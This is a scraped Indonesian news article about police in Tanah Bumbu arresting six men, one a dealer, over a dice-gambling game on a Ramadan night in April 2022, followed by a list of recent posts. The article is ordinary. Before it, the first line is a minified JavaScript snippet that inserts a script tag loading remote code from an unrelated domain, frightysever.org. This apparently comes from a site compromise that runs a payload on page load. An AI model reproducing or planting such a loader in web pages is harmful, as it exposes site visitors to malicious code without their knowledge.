(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Judi Dadu ‘Berjemaah’ di Malam Ramadhan, 6 Laki-laki Dibekuk Satreskrim Polres Tanbu


KANALKALIMANTAN.COM, BATULICIN – Berjemaah sedang main judi, 6 laki-laki tertangkap basah menggelar permainan judi jenis dadu di sebuah rumah Jalan Raya Serongga Km 04 Desa Gunung Besar, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu (Tanbu), pada Minggu (17/4/2022) malam.

Judi dadu ‘berjemaah’ yang dilakukan oleh 6 laki-laki ini terciup Unit Kamneg Sat Intelkam dan Unit Resmob Satreskrim Polres Tanbu.

Kapolres Tanbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa yang didampingi Kasat Reskrim Polres Tanbu AKP Wahyudi Erfa mengatakan, penggrebekan penangkapan para pelaku yang sedang asik bermain judi berjemahah di sebuah rumah di Desa Gunung Besar.

Unit Kamneg Sat Intelkam bersama Unit Resmob Satreskrim Polres Tabu dipimpin Katim Resmob Bripka Roninson melakukan penangkapan 1 orang bandar judi dan 5 orang penjudi pada sebuah rumah di Desa Gunung Besar, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu.

 

 

Baca juga: Manajemen Tanggung Biaya Pengobatan hingga Santunan Korban Alfamart Ambruk

Penangkapan para pelaku ini berasal dari laporan masyarakat yang mencurigai rumah yang menjadi tempat berkumpul dan melakukan aktifitas perjudian meresahkan warga sekitar.

Menindak lanjuti laporan tersebut Unit Kamneg Sat Intelkam melakukan penyelidikan dan memberitahukan ke unit Resmob Satreskrim Polres Tanah Bumbu.

Tak mau buruan lepas, Unit Resmob Satreskrim Polres Tanbu membekuk SP (30) diduga berperan sebagai bandar judi dadu, MS (23) ,MM (34), SW (41), YT (40) dan AS (20) para pemasang dari perjudian jenis dadu tersebut.

Para pelaku saat ini sudah diamankan dan digelandang ke Mapolres Tanah Bumbu guna proses penyidikan lebih lanjut. Para pelaku akan dikenakan dengan Pasal 303 KUHP terkait dugaan tindak pidana perjudian. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Risa

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

1 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

15 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

17 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

22 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

24 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.